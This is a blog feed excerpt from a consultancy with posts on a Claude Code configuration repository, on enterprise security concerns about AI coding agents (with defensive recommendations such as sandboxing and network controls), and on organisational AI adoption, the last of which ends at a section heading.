<li><strong>Anthropic Claude Code CLI</strong>: the runtime that assembles the system prompt and brokers calls between the LLM and the tools. It supports the latest Opus/Sonnet models.</li>
<li><strong>A bundle of MCP servers</strong>: it ships MCP templates for major SaaS products such as GitHub, Supabase, Vercel, Railway, and ClickHouse so Claude can call those APIs directly.<sup id="fnref4:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></li>
<li><strong>Testing and quality tools</strong>: the <code>/e2e</code> command is designed around running Playwright, and <code>testing.md</code> internalizes the JS testing stack including Jest and Vitest. <code>/build-fix</code> is written to deal with Node/Vite build errors.</li>
<li><strong>Frontend/backend patterns</strong>: <code>frontend-patterns.md</code> contains React/Next.js guidance, and <code>backend-patterns.md</code> collects API, database, and caching best practices. There are also skills for specific data technologies, such as <code>clickhouse-io.md</code>.</li>
</ul>
<p>In other words, while the repository presents itself as &ldquo;language- and framework-neutral,&rdquo; its first target is <strong>TypeScript-based full-stack web products</strong>. Using it for another language or domain means writing additional skills.</p>
<hr>
<h2 id="5-what-set-it-apart-on-the-way-to-winning-the-hackathon">5. What Set It Apart on the Way to Winning the Hackathon</h2>
<p>The competitive edge Everything Claude Code demonstrated at the hackathon comes down to five things.</p>
<ol>
<li><strong>Role parallelization</strong>: design, implementation, and testing were handled simultaneously by different agents, reducing development bottlenecks.</li>
<li><strong>A standardized development routine</strong>: the <code>/plan → /tdd → /code-review → /update-docs</code> sequence was automated, so per-feature cycles were short and consistent.</li>
<li><strong>Full-stack automation</strong>: thanks to MCP, Claude handled GitHub issues, Supabase queries, Vercel deployments, and more on its own, leaving the human free to focus purely on product logic.<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></li>
<li><strong>Hook-based safeguards</strong>: hooks such as <code>console.log</code> removal and missing-test warnings caught mistakes early and kept quality up.</li>
<li><strong>Battle-tested know-how</strong>: because the author packed in prompts and rules he had validated repeatedly in real work, it was not &ldquo;one person&rsquo;s one-time insight&rdquo; but a polished framework.</li>
</ol>
<p>That combination produced an &ldquo;AI-led team&rdquo; that maintains high quality even in a short window, and that is what worked as the differentiator at the hackathon.</p>
<hr>
<h2 id="6-technical-limitations-and-directions-for-improvement">6. Technical Limitations and Directions for Improvement</h2>
<p>However polished it is, real challenges remain.</p>
<ol>
<li>
<p><strong>Context window limits</strong><br>
Turning on too many MCPs, rules, and skills shrinks Claude&rsquo;s usable token budget and causes context loss in long sessions. Dynamic context loading, or the ability to swap configurations at the moment they are needed, is a future improvement point.</p>
</li>
<li>
<p><strong>Model cost and availability</strong><br>
Opus models are slow and expensive. The burden grows with usage, so an automatic fallback strategy to Sonnet or another model is needed. An abstraction layer for plugging in non-Anthropic models is also worth considering.</p>
</li>
<li>
<p><strong>Onboarding difficulty</strong><br>
Because you have to understand the concepts of agents, skills, and hooks all at once, the initial learning curve is steep. An interactive setup wizard or GUI-based configuration management would lower the barrier to adoption.</p>
</li>
<li>
<p><strong>Domain bias</strong><br>
The current skills are optimized for JS/TS web services. For it to become a general-purpose framework, the community has to keep adding skills and commands for other domains such as embedded, data science, and mobile.</p>
</li>
<li>
<p><strong>Execution safety</strong><br>
The risk that an agent granted Bash permissions runs the wrong command still exists. That is why safeguards such as two-step command approval, a sandbox mode, and a <code>/dry-run</code> command will be needed going forward.</p>
</li>
<li>
<p><strong>Performance optimization</strong><br>
Having the AI explain every action as it executes it can be slow. Without optimizations such as response caching or sharing results between agents, the experience drifts away from &ldquo;coding fast.&rdquo;</p>
</li>
</ol>
<hr>
<h2 id="7-closing-thoughts">7. Closing Thoughts</h2>
<p>Everything Claude Code is not a mere collection of configuration files; it is closer to <strong>an operating system for how you work with AI</strong>. By combining role-scoped prompts, test-centric rules, hook-based automation, and MCP integration, it offers a concrete answer to the question &ldquo;how do you use AI as a teammate?&rdquo; At the same time, the challenges around context management, onboarding, and domain expansion are equally clear. The moment you port this repository into your own project and layer your organization&rsquo;s processes and domain knowledge on top, AI stops being an assistive tool and becomes a <strong>sustainable development partner</strong>.</p>
<hr>
<h2 id="references">References</h2>
<ul>
<li><a href="https://github.com/affaan-m/everything-claude-code">Affaan Mustafa, <em>Everything Claude Code Repository</em> (GitHub)</a></li>
<li><a href="https://tilnote.io/en/pages/696db2d265a2e4dd63f35cc7">Tilnote, <em>Everything Claude Code Summary</em></a></li>
<li><a href="https://jpcaparas.medium.com/the-claude-code-setup-that-won-a-hackathon-a75a161cd41c">JP Caparas, <em>The Claude Code setup that won a hackathon</em></a></li>
<li><a href="https://mcpservers.org/servers/asifdotpy/github-mcp-server-asifdotpy">MCP Servers Catalog</a></li>
<li><a href="https://zenn.dev/ttks/articles/a54c7520f827be">Tatsuya Takasaka, <em>Zenn: A walkthrough of the Claude Code setup that won the Anthropic hackathon</em></a></li>
</ul>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://tilnote.io/en/pages/696db2d265a2e4dd63f35cc7">https://tilnote.io/en/pages/696db2d265a2e4dd63f35cc7</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref3:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref4:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://github.com/affaan-m/everything-claude-code">https://github.com/affaan-m/everything-claude-code</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref3:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref4:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref5:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://jpcaparas.medium.com/the-claude-code-setup-that-won-a-hackathon-a75a161cd41c">https://jpcaparas.medium.com/the-claude-code-setup-that-won-a-hackathon-a75a161cd41c</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content>
        </item>
        
        <item>
            <title>Vibe Coding and Security: True or False</title>
            <link>https://roboco.io/en/posts/vibecoding-security/</link>
            <pubDate>Tue, 30 Dec 2025 10:01:21 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/vibecoding-security/</guid>
            <description>&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;These days, saying &amp;ldquo;I code with AI&amp;rdquo; is no longer special. It is already the new normal. Coding works — that is now a given — and today&amp;rsquo;s AI tools do far more than that in a business.&lt;/p&gt;
&lt;p&gt;Even so, many companies hesitate at the adoption stage. The reason is always the same: security. Today I want to sort through the security concerns surrounding AI coding agents from an enterprise perspective — in particular Claude Code, the most widely chosen tool for production-level vibe coding — separating what is true from what is false.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<p>These days, saying &ldquo;I code with AI&rdquo; is no longer special. It is already the new normal. Coding works — that is now a given — and today&rsquo;s AI tools do far more than that in a business.</p>
<p>Even so, many companies hesitate at the adoption stage. The reason is always the same: security. Today I want to sort through the security concerns surrounding AI coding agents from an enterprise perspective — in particular Claude Code, the most widely chosen tool for production-level vibe coding — separating what is true from what is false.</p>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Security for AI coding tools should be made concrete in terms of contract terms, data retention, execution environment, and permission controls, not left as vague anxiety.</li>
<li>Agentic tools like Claude Code have a broader attack surface than autocomplete plugins, which makes isolation and update management essential.</li>
<li>Enterprises need to look beyond product settings and build an operating model that covers sandboxing, network controls, DLP, and audit logs.</li>
</ul>
<h2 id="the-truth-about-training-data-leakage">The Truth About Training Data Leakage</h2>
<p>&ldquo;Put your code into AI and it gets trained on and leaks out&rdquo; is half right and half wrong. In an enterprise context, what matters is not the vague word &lsquo;AI&rsquo; but the specific contract terms and the distinction between products.</p>
<p>Anthropic&rsquo;s enterprise products have a clear principle. By default, commercial input and output data is not used to train models. The Claude Code documentation also states that alongside a default 30-day data retention policy, there is a Zero Data Retention (ZDR) option that stores no conversation history on the server when a properly configured API key is used.</p>
<p>The consumer side is a different story. Under the consumer terms changed in August 2025, the data retention period can be extended depending on the &lsquo;allow training&rsquo; setting. Enterprises therefore need to clearly confirm and control which scope the service they are currently using falls under (commercial: Work/API/Gov), whether the log retention policy is standard (30 days) or ZDR (0 days), and how far client-side local caching will be permitted. Security starts with identifying the assets you have to protect and defining the means of protecting them.</p>
<h2 id="certification-badges-and-substantive-security">Certification Badges and Substantive Security</h2>
<p>The belief that &ldquo;it has SOC 2 and ISO 27001 certification, so it&rsquo;s safe&rdquo; is likewise only a half-truth. Certification does matter, of course. Through its Trust Center, Anthropic provides compliance artifacts such as SOC 2 Type II and ISO 27001, demonstrating that the organization&rsquo;s security management system is functioning.</p>
<p>But certification does not guarantee that &ldquo;a breach will never happen.&rdquo; Certification only shows the effectiveness of a management system; it is not magic that removes every technical vulnerability from a product. Enterprises should not treat certification as a simple &lsquo;stamp of reassurance.&rsquo; They should use it instead as a safeguard in the deal. Specific items — data retention periods, access controls, audit logs, incident notification procedures, subprocessor management, regional regulatory compliance — should be locked into contracts and operational policies so that they carry real binding force.</p>
<h2 id="the-new-threats-of-agentic-tools">The New Threats of Agentic Tools</h2>
<p>The idea that &ldquo;Claude Code is just an IDE plugin, so it isn&rsquo;t dangerous&rdquo; is a dangerous misjudgment. Claude Code is not a simple autocomplete tool but an &lsquo;agentic tool&rsquo; that judges and acts on its own. At the point where the local execution environment, integrations with various tools, and user permissions all intermingle, an attack surface of a different order than before emerges.</p>
<p>The Claude Code-related CVEs reported in 2025 illustrate these threats well. An unauthorized connection issue caused by a WebSocket authentication bypass in the IDE extension (CVE-2025-52882), a vulnerability where malicious code could execute before the user approved the trust dialog (CVE-2025-59536), a similar problem tied to the Yarn plugin (CVE-2025-65099), and a directory restriction bypass caused by insufficient path validation (CVE-2025-54794) are the evidence.</p>
<p>This does not mean Claude itself is dangerous. It is a warning that an enterprise&rsquo;s deployment and operating practices can be dangerous. If updates lag, developer PC environments are fragmented, and running arbitrary files out of the Downloads folder is culturally tolerated, adopting agentic tools can become the trigger that raises the probability of an incident.</p>
<h2 id="the-speed-of-defense-and-automation">The Speed of Defense, and Automation</h2>
<p>The idea that &ldquo;AI security is a defender&rsquo;s problem only&rdquo; is also wrong. Attackers are already weaponizing AI too. According to the Threat Intelligence report Anthropic published in August 2025, there were signs that tools including Claude Code had been abused in cyberattacks such as large-scale extortion operations. In November 2025, an even more advanced espionage campaign was disclosed, one that used AI not as a mere advisor but as the executor of the attack.</p>
<p>This reality demands a fundamental change in defensive strategy. Slow defense, where humans respond to everything one by one, cannot stop hackers attacking at AI speed. Automation now has to be introduced across the entire process from detection to response to recovery, so that the speed of defense matches the speed of attack.</p>
<h2 id="recommendations-for-enterprises-from-product-settings-to-an-operating-model">Recommendations for Enterprises: From Product Settings to an Operating Model</h2>
<p>In the end, the key is innovation in the &lsquo;operating model,&rsquo; not simple product settings. Anthropic emphasizes sandboxing based on file system and network isolation as a way to reduce permission pop-ups while still ensuring safety. Enterprises should build an execution strategy that is one step more concrete, in line with that direction.</p>
<p>First, <strong>isolating the execution environment</strong> is essential. Wherever possible, run AI tools in a Dev Container, VDI, or isolated VM environment, and even when running them on a local PC, apply file and network isolation sandboxing as the default.</p>
<p><strong>Network control</strong> should likewise follow a &lsquo;deny-all by default&rsquo; principle. Only domains essential to the work should be whitelisted, and everything else blocked. That is because prompt injection without network isolation can lead directly to immediate data exfiltration.</p>
<p><strong>Execution from untrusted paths</strong> should be blocked systemically. The attack scenario that many of the CVEs warn about in common is tricking a user into running a tool from an untrusted directory. Execution from Downloads folders, temp folders, and shared folders therefore has to be blocked technically through system configuration, not through policy training.</p>
<p><strong>Enforced updates</strong> matter too. Updating IDE extensions and CLI tools should not be left to each developer&rsquo;s discretion. Establish a minimum allowed version policy and block execution outright for versions that fall below the bar.</p>
<p>A <strong>data loss prevention (DLP)</strong> system should be built into the stage before prompt input. Making secret scanning and prompt DLP standard infrastructure, so that a mistake by an AI or a human does not turn into an incident, is at the core of enterprise security.</p>
<p>Finally, you need <strong>audit logs and anomaly detection</strong>. Keep records of who called which tool in which repository, and analyze them in real time. Since attackers come at you with automated tools, the defensive system has to secure a commensurate level of speed and visibility.</p>
<h2 id="conclusion-keeping-security-from-holding-the-business-back">Conclusion: Keeping Security From Holding the Business Back</h2>
<p>Security is a brake. Without brakes you crash. But if all you do is hold down the brake, you never get anywhere. I often see enterprises come to a stop in front of AI adoption. The decision is, &ldquo;it might be risky, so let&rsquo;s hold off for now.&rdquo; Holding off does not mean maintaining the status quo. It is not just that your competitiveness erodes — hackers are using AI to attack, too.</p>
<p>Tools like Claude Code are already in the field. The question is not &ldquo;should we use it or not.&rdquo; Now is the time to think about how to use it safely. And here security is not something that holds the business back. Security becomes the guardrail that lets you pick up speed safely. Rules are what let a team move fast. Guardrails are what let people run without fear.</p>
<p>So the conclusion ROBOCO has reached is simple. Don&rsquo;t trust AI. Don&rsquo;t trust people either. Build systems you can trust instead. At the core of those systems are automated processes and guardrails that the organization can control.</p>
]]></content>
        </item>
        
        <item>
            <title>A Guide to Enterprise AI Adoption</title>
            <link>https://roboco.io/en/posts/ai-adoption-guide/</link>
            <pubDate>Fri, 26 Dec 2025 09:16:27 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/ai-adoption-guide/</guid>
            <description>&lt;blockquote&gt;
&lt;p&gt;The essence of AI adoption is not bolting on a new tool. It is changing the very way an organization creates customer value, faster and more accurately.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Meetings about adopting AI tend to start from the same question. &amp;ldquo;Our competitors are already using it, so when should we start?&amp;rdquo; Tool comparisons, license budgets, and training schedules follow soon after. That much is easy. The genuinely hard part comes next. It&amp;rsquo;s common for the way people work not to change fundamentally even after months, or for only a fraction of the organization to use it before it fizzles out. At some point AI stops being an &amp;ldquo;innovation project&amp;rdquo; and becomes &amp;ldquo;one more subscription fee.&amp;rdquo;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<blockquote>
<p>The essence of AI adoption is not bolting on a new tool. It is changing the very way an organization creates customer value, faster and more accurately.</p>
</blockquote>
<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<hr>
<p>Meetings about adopting AI tend to start from the same question. &ldquo;Our competitors are already using it, so when should we start?&rdquo; Tool comparisons, license budgets, and training schedules follow soon after. That much is easy. The genuinely hard part comes next. It&rsquo;s common for the way people work not to change fundamentally even after months, or for only a fraction of the organization to use it before it fizzles out. At some point AI stops being an &ldquo;innovation project&rdquo; and becomes &ldquo;one more subscription fee.&rdquo;</p>
<p>The problem this article addresses is not &ldquo;which AI tool should we choose.&rdquo; It&rsquo;s a more fundamental question. Why do some organizations see performance rise as soon as they adopt AI, while in others nothing happens even with the same tools? The difference comes from structure, not technology. AI is a tool, but the results a tool produces ultimately come from human behavior. And behavior doesn&rsquo;t change because of slogans. It changes when evidence is visible, and it persists when rewards are aligned.</p>
<p>So AI adoption has to be organizational design that combines measurement, incentives, psychological safety, and minimal governance, before it is &ldquo;training&rdquo; or a &ldquo;guide.&rdquo;</p>
<hr>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Whether AI adoption succeeds depends less on tool selection than on designing structures that change organizational behavior.</li>
<li>Mandated usage, absent measurement, wrong KPIs, and individual competition all tend to turn AI adoption into a box-ticking project.</li>
<li>Successful adoption requires evidence-based dashboards, shared rewards, psychological safety, and minimal governance, together.</li>
</ul>
<hr>
<h2 id="1-failure-patterns-why-so-many-ai-adoptions-end-without-effect">1. Failure Patterns: Why So Many AI Adoptions End Without Effect</h2>
<p>AI adoption fails not because &ldquo;AI isn&rsquo;t very good,&rdquo; but because the way organizations handle AI runs against the principles of human behavior. Most failures aren&rsquo;t a matter of tool performance. They occur the moment the adoption approach pushes the people doing the work into &ldquo;defense&rdquo; rather than &ldquo;learning.&rdquo;</p>
<p>The most common starting point is a company-wide blanket rollout. Declaring &ldquo;everyone will use it&rdquo; looks like fast execution, but from an employee&rsquo;s point of view it&rsquo;s easily read as control and surveillance. People then work to reduce risk rather than to produce results. Outwardly they switch the tool on; inwardly they go back to their old ways. The organization takes comfort in the illusion called &ldquo;adoption rate,&rdquo; while the people doing the work secure their safety through &ldquo;formal compliance.&rdquo; What&rsquo;s left in the end is the license cost and a collective memory that &ldquo;AI doesn&rsquo;t do much.&rdquo;</p>
<p>The second failure is adoption that starts without measurement. Early on, the expectation that &ldquo;things will get better&rdquo; is widely shared, but over time the question changes. &ldquo;So what got better, and by how much?&rdquo; If you can&rsquo;t answer that, AI becomes a matter of taste rather than strategy, and the budget loses its justification. Even the people who supported the adoption turn defensive. Adoption without measurement only raises the cost of internal persuasion as time passes, and it ends up filed away as an &ldquo;unprovable investment.&rdquo;</p>
<p>The third is choosing the wrong metrics. Quantity KPIs are easy to build and easy to explain. But metrics like commit counts and ticket counts make people find ways to raise the numbers. Meaningless changes, splitting work up, and padding follow. The organization thinks its data has grown, while customer value and quality stay flat or actually get worse. At that moment AI stops being &ldquo;a tool that raises performance&rdquo; and becomes &ldquo;a tool that dresses performance up,&rdquo; and the metrics distort the organization instead of promoting learning.</p>
<p>The fourth is a framework of individual competition. &ldquo;Rewards for the top AI users&rdquo; looks like motivation, but in practice it removes any reason to share know-how. Information becomes scarce, the people who are good get better, and the majority can&rsquo;t keep up. The organization gains an island of &ldquo;a few experts&rdquo; but never gains the continent of &ldquo;company-wide productivity.&rdquo;</p>
<p>These four failures can be summed up in a single sentence. Mandates produce formal compliance, the absence of measurement removes the justification for investment, wrong KPIs distort behavior, and a competitive framework isolates learning.
So this article does not list tools. Instead it redesigns AI adoption around the structures that successful organizations have in common: dashboards that create evidence, rewards that make cooperation profitable, psychological safety that lowers anxiety, and minimal governance that prevents accidents.</p>
<hr>
<h2 id="2-principles-of-success-evidence-instead-of-mandates-cooperation-instead-of-competition">2. Principles of Success: &ldquo;Evidence&rdquo; Instead of &ldquo;Mandates,&rdquo; &ldquo;Cooperation&rdquo; Instead of &ldquo;Competition&rdquo;</h2>
<p>The force that keeps AI adoption rolling comes from observation, not from directives. This is because of what psychology calls social proof and descriptive norms. People change their behavior less on &ldquo;you should&rdquo; than on seeing that &ldquo;other people are actually doing this, and the results are good.&rdquo; What an organization needs to do is not to repeat &ldquo;please use AI,&rdquo; but to make the results and the process of teams and individuals who use AI well visible.</p>
<p>Dashboards and case sharing are not mere promotion; they send employees a normative signal that &ldquo;this is how things work in this organization right now.&rdquo; People move more readily when the basis for comparison is not an &ldquo;absolute target&rdquo; but &ldquo;colleagues in similar roles and similar situations&rdquo; (the reference group effect). That&rsquo;s because it generates the self-efficacy of &ldquo;I could probably do that much too.&rdquo;</p>
<p>But evidence alone isn&rsquo;t enough. What an organization really wants is not &ldquo;a few experts&rdquo; but &ldquo;collective learning,&rdquo; and collective learning doesn&rsquo;t happen automatically. In behavioral economics, sharing is a classic public good. Everyone benefits, but contributing feels like a cost to the individual, so free riders appear. That&rsquo;s why moral appeals like &ldquo;please share&rdquo; don&rsquo;t last long. To create cooperation, you have to change the choice architecture. That is, you have to make sharing a rational choice rather than an act of goodwill.</p>
<p>The key here is not designing incentives around &ldquo;individual competition.&rdquo; &ldquo;Rewards for the top 10%&rdquo; may look motivating in the short term, but in practice it triggers the defensive psychology that relative evaluation creates. People hide information to preserve their advantage, and know-how gets privatized. What&rsquo;s more, among people with similar performance, even a small gap becomes a sensitive matter and cooperation breaks down (perceptions of fairness).</p>
<p>To create cooperation, rewards have to be based on &ldquo;propagation&rdquo; rather than &ldquo;ranking.&rdquo; You need a structure where, when a tip I shared is applied by someone else and its effect is confirmed, part of that effect comes back to me. In that case people are moved by reciprocity. Once the sense that &ldquo;what I give comes back to me&rdquo; takes hold, knowledge starts to be exchanged.</p>
<p>Another important mechanism is immediacy. People respond better to a small piece of feedback now than to a large reward in the future (present bias). So recognition for sharing should be designed as a fast feedback loop, colleagues saying &ldquo;I applied this&rdquo; or &ldquo;this helped,&rdquo; rather than a line in the year-end review. When small recognition repeats often, behavior becomes habit. At the same time, it should be designed in a direction that satisfies autonomy, competence, and relatedness (self-determination theory). When the message shifts from &ldquo;share&rdquo; to &ldquo;if you make what you discovered something the team uses together, your influence grows,&rdquo; sharing becomes a matter of identity (I am someone who contributes) rather than control.</p>
<p>Finally, cooperation isn&rsquo;t a matter of gathering &ldquo;good people.&rdquo; It depends on how you set defaults and friction. If sharing is cumbersome and recognition for it is slow, nobody keeps at it. Conversely, if there&rsquo;s a sharing template (reducing friction), if 10 to 15 minutes of &ldquo;this week&rsquo;s discoveries&rdquo; is a default part of the team meeting (default design), and if sharing is connected to actual application and reflected in the score (incentive alignment), then the organization rolls toward cooperation without effort. In the end, &ldquo;cooperation&rdquo; is not a culture but the result of design.</p>
<hr>
<h2 id="3-the-adoption-approach-empowerment-and-role-specific-usage-design">3. The Adoption Approach: Empowerment and Role-Specific Usage Design</h2>
<p>The most common mistake when adopting AI is &ldquo;distributing the tool equally.&rdquo; If you hand every developer an identical Copilot license and tell them to &ldquo;figure out how to use it,&rdquo; seniors will use it only for simple repetitive work while juniors stay busy copying and pasting code. Empowerment comes not from issuing a tool but from defining what that tool is supposed to solve.</p>
<p>Organizations have to design a &ldquo;winning scenario&rdquo; for each role. For juniors, for instance, AI should be a &ldquo;24-hour mentor.&rdquo; Interpreting error logs they don&rsquo;t understand, summarizing library documentation, and cutting down time spent flailing are the core value. For seniors, on the other hand, AI is a &ldquo;design partner.&rdquo; Productivity explodes when it&rsquo;s used to find holes in a complex system architecture, or to predict the side effects of refactoring legacy code. For QA, the goal should be reducing the time spent writing test cases to nearly zero, and for PMs and POs, removing bottlenecks in organizing meeting notes and fleshing out requirements specifications.</p>
<p>AI becomes a weapon rather than homework when people are given a specific playbook saying &ldquo;in your role, here is how this tool can save you time,&rdquo; instead of &ldquo;just use it.&rdquo; What matters is not &ldquo;getting people to use AI&rdquo; but &ldquo;getting people to win by using AI.&rdquo;</p>
<hr>
<h2 id="4-the-maturity-model-designing-the-organizations-learning-path">4. The Maturity Model: Designing the Organization&rsquo;s Learning Path</h2>
<p>The ability to use AI doesn&rsquo;t appear overnight. Like learning to ride a bicycle, it has stages. Yet many organizations ignore these stages and expect &ldquo;coding automation&rdquo; from day one. Just as telling someone to run before they can walk makes them fall, demanding advanced capabilities without a maturity model leads organizations to give up on AI. We should define an organization&rsquo;s AI maturity in four stages and set learning goals appropriate to each.</p>
<pre class="mermaid">graph LR
    Step1[Questions and Search] --> Step2[Producing Artifacts]
    Step2 --> Step3[Collaborative Judgment and Review]
    Step3 --> Step4[Delegating to Agents]
</pre>
<p>Stage 1 is &ldquo;questions and search.&rdquo; Asking AI instead of Googling, and getting a grip on basic concepts.
Stage 2 is &ldquo;producing artifacts.&rdquo; Having it generate unit test code, document drafts, and simple functions. This is where you get a taste of productivity.
Stage 3 is &ldquo;collaborative judgment and review.&rdquo; A stage of mutual verification, where I review the code AI wrote and hand my code to AI for review. Quality starts rising from here.
Stage 4 is &ldquo;delegating to agents.&rdquo; A stage where you say &ldquo;implement this feature&rdquo; and AI carries out planning, coding, testing, and fixing.</p>
<p>This maturity model is not a report card for ranking people. It&rsquo;s a map that shows each person &ldquo;where I am now, and what I need to practice to reach the next stage.&rdquo; With a map you don&rsquo;t get lost, and learning becomes a clear quest rather than a vague effort.</p>
<hr>
<h2 id="5-measuring-performance-not-a-lot-but-the-important-things-well">5. Measuring Performance: Not &ldquo;a Lot,&rdquo; but &ldquo;the Important Things, Well&rdquo;</h2>
<p>&ldquo;You can&rsquo;t manage what you can&rsquo;t measure&rdquo; holds for AI adoption too. But you should also keep in mind that &ldquo;measure the wrong thing and you&rsquo;re finished.&rdquo; In the early days of AI adoption, many organizations look at metrics like &ldquo;lines of code generated&rdquo; or &ldquo;number of AI tool invocations.&rdquo; This is the worst option. When producing lots of code becomes the goal, the system bloats and maintenance costs explode. Fixate on invocation counts and you just get more meaningless questions.</p>
<p>Proper performance measurement has to focus on &ldquo;value,&rdquo; not &ldquo;speed.&rdquo; What we should be measuring is not &ldquo;how fast we wrote the code&rdquo; but &ldquo;how much the lead time for delivering value to the customer has fallen.&rdquo; We should also look at &ldquo;how much the change failure rate after deployment has dropped.&rdquo;</p>
<p>More precisely, &ldquo;customer impact&rdquo; should be used as a weight. Catching a security vulnerability quickly with AI should score high; fixing a simple typo should score low. The goal is not &ldquo;doing a lot of work with AI&rdquo; but &ldquo;solving important problems faster and more safely with AI.&rdquo; When metrics are set this way, the organization naturally reduces pointless coding and concentrates on solving core problems.</p>
<hr>
<h2 id="6-dashboards-turning-correlations-into-the-organizations-language">6. Dashboards: Turning Correlations into the Organization&rsquo;s Language</h2>
<p>Data has no meaning if it lives only inside an Excel file. The heart that determines whether AI adoption succeeds is a transparently published dashboard. But the dashboard must not become a surveillance tool for executives. It has to be a feedback mirror for the people doing the work.</p>
<p>Three things should be visible on the dashboard at a glance. First, my position. I should be able to see objectively where my productivity and quality metrics stand. Second, correlations. The AI usage patterns of the top performers should be visible. When facts like &ldquo;wait, that team uses the AI review feature a lot and their failure rate is 0%?&rdquo; show up in the data, people copy that approach without being told to. Third, the organization&rsquo;s direction. The trend that our whole organization is currently moving from stage 1 to stage 2 should be visible.</p>
<p>At this point the dashboard becomes an instrument of persuasion. One piece of data showing that &ldquo;colleagues who use AI well leave work earlier and perform better too&rdquo; is more powerful than a hundred speeches. The organization communicates through data, with &ldquo;evidence&rdquo; rather than &ldquo;gut feel,&rdquo; and corrects the direction of its own learning.</p>
<hr>
<h2 id="7-rewarding-sharing-designing-know-how-into-performance">7. Rewarding Sharing: Designing Know-How into &ldquo;Performance&rdquo;</h2>
<p>In the world of knowledge work, &ldquo;know-how&rdquo; is power. So instinctively, people want to keep it to themselves. To work against this instinct, you have to build &ldquo;a structure in which sharing pays better than hoarding.&rdquo; A campaign that simply says &ldquo;let&rsquo;s share&rdquo; doesn&rsquo;t come close.</p>
<p>You need a system that recognizes sharing as a &ldquo;knowledge asset.&rdquo; If a colleague used a prompt tip I posted and saved time, part of that saved value should be recognized as my performance. If an AI guide I put on the internal wiki is widely read and adopted as the team&rsquo;s standard process, that should be evaluated as a contribution just as important as writing code.</p>
<p>Once this structure is in place, sharing know-how stops being &ldquo;volunteer work&rdquo; and becomes &ldquo;the most efficient means of producing results.&rdquo; The thought &ldquo;I should keep this to myself&rdquo; turns into &ldquo;I should share this and grow my influence.&rdquo; That&rsquo;s the moment the entire organization becomes a vast knowledge factory. A culture of cooperation comes not from good intentions but from smart reward design.</p>
<hr>
<h2 id="8-psychological-safety-the-moment-ai-becomes-a-fear-innovation-stops">8. Psychological Safety: The Moment AI Becomes a Fear, Innovation Stops</h2>
<p>Resistance to AI adoption comes less from &ldquo;it&rsquo;s a hassle&rdquo; than from &ldquo;I&rsquo;m anxious.&rdquo; In particular, once worries like &ldquo;if I can&rsquo;t use AI, will I be pushed out?&rdquo; or &ldquo;will this end up being the grounds for laying me off?&rdquo; spread through an organization, people move defensively rather than learn. Defensiveness reduces experimentation, and when experimentation drops, learning stops too. So organizations have to put psychological safeguards in place first.</p>
<p>The important declaration here is not simple reassurance but an operating principle. Whether or not someone uses AI will not be used as grounds for dismissal or disadvantage. A defined period is set aside as a learning period, and mistakes made while getting to grips with the tools are treated as material for growth rather than blame. The anxiety seniors feel, &ldquo;is my experience becoming meaningless?&rdquo;, also has to be addressed head-on. Domain knowledge, architectural judgment, and review capability are hard for AI to replace entirely, and AI is closer to an amplifier that helps those abilities be exercised faster and more accurately.</p>
<p>At the same time, though, the organization has to make one more thing clear. It isn&rsquo;t about whether you use AI; evaluation of the performance you actually produce stays exactly as it was. In other words, it isn&rsquo;t &ldquo;I didn&rsquo;t use AI, so it&rsquo;s fine.&rdquo; Customer value, quality, and contribution to collaboration are evaluated by the same standards as before, and the resulting rewards, promotions, and adjustments continue as usual. What the organization guarantees is &ldquo;no mandated AI usage,&rdquo; not &ldquo;exemption from accountability for results.&rdquo; With this balance in place, people can experiment safely while continuing to learn in a direction that produces results.</p>
<hr>
<h2 id="9-minimal-governance-few-rules-but-clear-ones">9. Minimal Governance: Few Rules, but Clear Ones</h2>
